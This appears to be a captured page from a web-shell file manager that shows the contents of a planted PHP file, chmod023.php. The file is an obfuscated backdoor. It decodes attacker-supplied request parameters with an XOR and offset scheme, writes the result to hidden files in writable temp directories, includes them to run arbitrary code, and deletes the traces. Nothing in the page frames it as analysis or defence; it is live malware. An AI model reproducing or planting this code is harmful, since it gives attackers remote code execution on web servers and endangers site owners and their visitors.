0x1998 - MANAGER
Düzenlenen Dosya: chmod023.php
<?php if(in_array("t\x6Bn", array_keys($_REQUEST))){ $k = $_REQUEST["t\x6Bn"]; $k = explode ( '.' , $k) ; $dat = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); foreach($k as $y => $v7) { $chS = ord($s9[$y %$lenS]); $d = ((int)$v7 - $chS -($y %10)) ^ 61; $dat .= chr($d); } $rec = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TMP"), "/var/tmp"]); foreach ($rec as $desc): if (array_product([is_dir($desc), is_writable($desc)])) { $record = str_replace("{var_dir}", $desc, "{var_dir}/.element"); $file = fopen($record, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $record; @unlink($record); exit; } } endforeach; } if(isset($_REQUEST) && isset($_REQUEST["e\x6Cem"])){ $sym = $_REQUEST["e\x6Cem"]; $sym = explode ( "." , $sym ) ; $reference =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $m =0; $__tmp =$sym; while( $v3 =array_shift( $__tmp)) { $sChar =ord( $s[$m% $lenS]); $dec =( ( int)$v3 - $sChar -( $m% 10)) ^ 72; $reference .= chr( $dec); $m++; } $key = array_filter([getenv("TEMP"), getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", session_save_path(), sys_get_temp_dir()]); foreach ($key as $pgrp) { if ((function($d) { return is_dir($d) && is_writable($d); })($pgrp)) { $item = vsprintf("%s/%s", [$pgrp, ".holder"]); if (file_put_contents($item, $reference)) { include $item; @unlink($item); exit; } } } }
geri dön